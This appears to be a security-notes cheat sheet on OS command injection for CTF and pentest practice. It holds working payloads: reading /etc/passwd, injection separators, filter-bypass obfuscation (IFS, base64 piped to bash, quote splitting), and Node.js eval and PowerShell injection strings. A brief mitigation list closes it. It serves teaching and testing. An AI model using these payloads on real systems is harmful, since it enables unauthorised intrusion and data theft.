Command injection

oscommandinjection owasptop10 command_injection picklerick ignite chillhack commandinjections sau celestial busqueda php_command_injection node_eval

A command injection occurs when a developer uses the user input in system commands without proper sanitization/measures.

For instance, a PHP website on Linux might use grep, sed, or other utilities instead of PHP functions for some operations:

$search = $_GET['q'];
$res = system("grep \"$search\" content/");
echo "<pre>$res</pre>";

With the following payload for q: " -V; cat /etc/passwd #, the command executed will be as follows, allowing us to steal /etc/passwd

grep "" -V; cat /etc/passwd # content/

There are two kinds of command injections

  • Regular/in-band: same channel to attack and gather results
  • Blind/out-band: different channels to attack and gather results
    • Using redirections/flags, create a URL-accessible output file
[...] cat /etc/passwd > /var/www/html/output.txt [...]
    • Using commands such as sleep to perform a time-based attack
[...] true && sleep 5 [...]

Basic Overview

Assuming we have a list of vulnerable elements such as forms that may be vulnerable, we can try common characters:

  • ; β€” %3B β€” run two commands
  • \n β€” %0A β€” run two commands
  • && β€” %26%26 β€” executed if the previous ones succeed
  • || β€” %7C%7C β€” executed if the previous ones failed
  • & β€” %26 β€” run two commands (background previous)
  • | β€” %7C β€” run two commands (pipe previous one)
  • `` β€” %60%60 β€” execute a command in another command
  • $() β€” %24%28%29 β€” execute a command in another command

You might try automated tools such as commix (4.2k ⭐).

Assuming you found a vulnerable parameter, and are trying to exploit it, one of the main issues is URL encoding the payload.

Always try to inject bit by bit using a boolean-based approach.

➑️ See also: onectf request (Simple manual testing).

Bypass filters


Character Filtering


By-pass space character filtering.

  • Try using tabs (%09)
  • Try using variables (${IFS})
  • Try using brace expansion ({ls,-la}) -- bash
  • ...

By-pass slash character filtering.

  • Try using variables (${PATH:0:1}) -- may not be set
  • Try using variables (${HOME:0:1}) -- may not be set
  • Try using variables (${PWD:0:1})
  • Try using brace expansion ({ls,-la}) -- bash
  • ...

➑️ See also: printenv or env to list exploitable variables.

Bypass using obfuscation

Remember that such payloads may contain filtered characters. See also tools such as Bashfuscator.

$ $(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
$ $(a="WhOaMi";printf %s "${a,,}")
$ # using base64
$ base64 <<< whoami
$ bash<<<$(base64 -d<<<d2hvYW1pCg==) # whoami
$ # using UTF-16 and base64
$ echo -n whoami | iconv -f utf-8 -t utf-16le | base64

Command Filtering

chillhack powershell_basic_jail

Put pair of quotes/double quotes anywhere within the command

# available on Linux, Windows (PowerShell)
$ w'ho'ami ; w""hoam''i
  • Put \\ or $@ anywhere within the command
# available on Linux
$ w\ho\am\i ; who$@ami
  • Put ^ anywhere within the command
# available on Windows (CMD)
CMD> who^am^i
  • Reverse commands
$ $(rev<<<'imaohw')
PS> iex "$('imaohw'[-1..-20] -join '')"
  • Filters may have been applied only once
PS> cat # It doesn't work.
PS> ccatat # It works!
  • Use variables to split the command
PS> $a="l"; $b="s" ; & $a$b

Additional Notes

Refer to injection if you need to inject something in the arguments of a custom script.

Mailtrail v0.53


POC (python script) (0.03k ⭐).

$ python3 listener_ip listener_port URL

Searchor 2.4.2


Poc (python script) (0.01k ⭐).

$ onectf request -u URL -X POST -d 'engine=Yahoo' -p query -i '<q>, exec(""))#'

You can execute python code inside exec.

PHP 'eval' function


Refer to HackTricks for the payloads. If the parameter is filtered, we can tried PHP specific by-passes such as PHP octal.

Perl open()


The open function is perl can execute commands when we use | in the filename. For instance, | cat /etc/passwd. The code is not vulnerable if there is a < before our filename in the open function call.

Node.js 'eval' function

celestial node_eval

If the input is evaluated using eval, we can write some code in it.

  • Normal input: 5
  • Normal input wrapped: (()=>{return 5})()
  • If it works, we can add some code in-between
(() => {
  try {
    return `Output: ${require('child_process').execSync('whoami').toString()}`
  } catch (error) {
    return `Error executing command: ${error}`
// without spaces

It's not always possible to return a string, but if errors are returned, you may use them instead of the usual vector.

(()=>{throw new Error(require("child_process").execSync("whoami").toString())})()

Node.js 'eval' function

powershell_command_injection powershell_basic_jail

Reminder of useful payloads: $(whoami), ; whoami, $(Get-ChildItem Env:), $(command|Out-string), | powershell command...

Mitigation πŸ›‘οΈ

  • Avoid using uncontrolled input in system commands. Always validate and filter user input.

  • Use web server engine functions instead of system functions

  • Use a WAF or a similar tool

πŸ‘» To-do πŸ‘»

Stuff that I found, but never read/used yet.

  • Windows Slash ($env:HOMEPATH[0])
  • Direct access to a program in a jail?